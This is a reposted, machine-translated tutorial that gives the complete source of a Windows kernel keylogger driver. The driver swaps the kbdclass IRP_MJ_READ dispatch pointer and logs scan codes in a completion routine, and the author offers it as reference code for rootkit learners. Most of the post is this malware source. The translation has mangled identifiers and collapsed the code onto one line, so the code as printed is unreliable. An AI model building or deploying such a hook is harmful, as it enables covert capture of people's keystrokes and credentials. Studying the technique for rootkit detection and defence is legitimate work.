IRP hook keyboard Logger

Source: Internet
Author: User

Author: cogito

The day before yesterday to read the rootkit hook combojiang series [five] IRP hook Family Fu (original post: http://bbs.pediy.com/showthread.php? T = 60022), it is decided to use the third method in the article to implement a keylogger. However, the combojiang predecessors did not put a demo, and I did not seem to find a complete IRP hook keyboard logger instance on the Internet, so I wrote one, privilege is to provide a complete reference code for new people who learn rootkit (of course, I am also a new driver). Please ignore it.

As instructed by achillis's predecessors, I modified the unmount function to cancel the pending IRP during uninstallation, so that I don't need to wait for another button.

In this example, only the irp_mj_read Distribution Function in the original keyboard driver is replaced, and the keyboard code is simply printed out in the callback function.

The main code is as follows:

Code:
# Include <WDM. h> # include <ntddkbd. h> # include "irpklog. H "// name of the device driver to be obtained # define kbd_driver_name l" // driver // kbdclass "// Save the original distribution function pointer pdriver_dispatch olddispatchread; // Save the keyboard driver object pdriver_object kbddriverobject; // The number of unfinished IRPs. If the driver is not tracked, it will become ugly when unmounted. Int numpendingirps = 0; extern pobject_type iodriverobjecttype; // Save the current pending IRP to cancel pirp pendingirp = NULL when uninstalling; booleancancelkeyboardirp (in pirirp) {If (IRP = NULL) {dbgpr INT ("cancelkeyboardirp: IRP error/N"); Return false ;}/// some judgments here are not required, however, be careful when you do so. // If (IRP-> cancel | IRP-> cancelroutine = NULL) {dbuplint ("can't cancel the IRP/N "); return false;} If (false = iocancelirp (IRP) {dbuplint ("iocancelirp () to failed/N"); Return false ;} /// reset this routine to null after cancellation // iosetcancelroutine (IRP, null); Return true;} // The Void unload (in pdriver_object pdriweaver driver uninstall Function Bject) {pdevice_object pdeviceobj; large_integer ldelay; prkthread currentthread; // delay some time ldelay = rtlconvertlongtolargeinteger (100 * delay_one_millisecond); currentthread = keetcurrentthread (); // set the current thread to a low real-time mode to minimize the impact on other programs. Kesetprioritythread (currentthread, low_realtime_priority); // restore IRP hook interlockedexchangepointer (& kbddriverobject-> majorfunction [irp_mj_read], olddispatchread ); // if there is still IRP unfinished and the current IRP is valid, try to cancel this IRP pdeviceobj = pdriverobject-> deviceobject; If (numpendingirps> 0 & pendingirp! = NULL) {If (cancelkeyboardirp (pendingirp) = status_cancelled) {dbuplint ("successfully canceled IRP/N"); goto _ end ;}} dbuplint ("there are % d tagged IRPs/N", numpendingirps); // dbuplint ("wait for the last button... /n "); While (numpendingirps) {kedelayexecutionthread (kernelmode, false, & ldelay) ;}__ end: dbuplint (" delete a device ...... /N "); iodeletedevice (pdeviceobj); dbuplint (" Driver unload OK! /N "); return;} // mj_read callback function ntstatus onreadcompletion (in pdevice_object deviceobject, in piririrp, in pvoid context) {ulong buf_len = 0; puchar Buf = NULL; size_t I, numkeys; pkeyboard_input_data keydata; pio_stack_location irpsp = iogetcurrentirpstacklocation (IRP); // if the request is successful. Obviously, if the request fails, it is meaningless to obtain // further information if (nt_success (IRP-> iostatus. status) {// obtain the buffer Buf = IRP-> associatedirp output after the Read Request is complete. systembuffer; keydata = (pkeyboard_input_data) BUF; // obtain the length of the buffer. Generally, the returned values are stored in // information. Buf_len = IRP-> iostatus. information; numkeys = buf_len/sizeof (keyboard_input_data); // simple print scan code for (I = 0; I <numkeys; ++ I) {// dbuplint ("ctrl2cap: % 2x/R/N ", Buf [I]); dbuplint ("/N "); dbuplint (" numkeys: % d ", numkeys); dbuplint (" scancode: % x ", keydata-> makecode); dbuplint (" % s/n ", keydata-> flags? "Up": "down"); print_keystroke (uchar) keydata-> makecode); If (keydata-> makecode = caps_lock) {keydata-> makecode = lcontrol ;}} dbuplint ("entering onreadcompletion routine... /n "); // complete an IRP numpendingirps --; If (IRP-> pendingreturned) {iomarkirppending (IRP);} // call the original completion function, if (IRP-> stackcount> (ulong) 1) & (context! = NULL) {return (pio_completion_routine) Context) (deviceobject, IRP, null);} else {return IRP-> iostatus. status ;}// new distribution function ntstatus newdispatchread (in pdevice_object pdeviceobject, in pirp) {// dbuplint ("entering newdispatchread routine... /n "); // The completion function pio_stack_location irpsp; irpsp = iogetcurrentirpstacklocation (pirp); irpsp-> control = sl_invoke_on_success | sl_invoke_on_error | sl_invoke_o N_cancel; // irpsp-> control = finished; // retain the original completion function. If yes, irpsp-> context = irpsp-> completionroutine; irpsp-> completionroutine = (pio_completion_routine) onreadcompletion; dbuplint ("callback function set... /n "); // increment the number of uncompleted IRPs numpendingirps ++; If (numpendingirps> 0) {pendingirp = pirp;} return olddispatchread (pdeviceobject, pirp );} ntstatus DriverEntry (in pdriver_object pdriverobject, in punicode_strin G registrypath) {ntstatus status = 0; unicode_string kbdnamestring; pdevice_object pdeviceobject; dbuplint ("IRP hook keyboard logger -- DriverEntry/N "); // initialize the name of the kdbclass driver rtlinitunicodestring (& kbdnamestring, kbd_driver_name); // for this program, you do not need to create a device or link status = iocreatedevice (pdriverobject, 0, // temporarily set to 0 null, // No need to name file_device_unknown, 0, true, // if it is set to true, the driver is exclusive, most of which are false & pdeviceobject); If (! Nt_success (Status) {dbuplint ("create device error! /N "); Return status;} // set the driver unmount function pdriverobject-> driverunload = unload; // obtain the driver object status = obreferenceobjectbyname (& kbdnamestring, obj_case_insensitive, null, 0, iodriverobjecttype, kernelmode, null, & kbddriverobject // Save the obtained device object); If (! Nt_success (Status) {// If dbuplint ("couldn't get the KBD driver object/N"); Return status_unsuccessful ;} else {// unreference callback (kbddriverobject);} olddispatchread = kbddriverobject-> majorfunction [irp_mj_read]; // atomic swap operation handler (& kbddriverobject-> majorfunction [irp_mj_read], newdispatchread); Return status ;}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.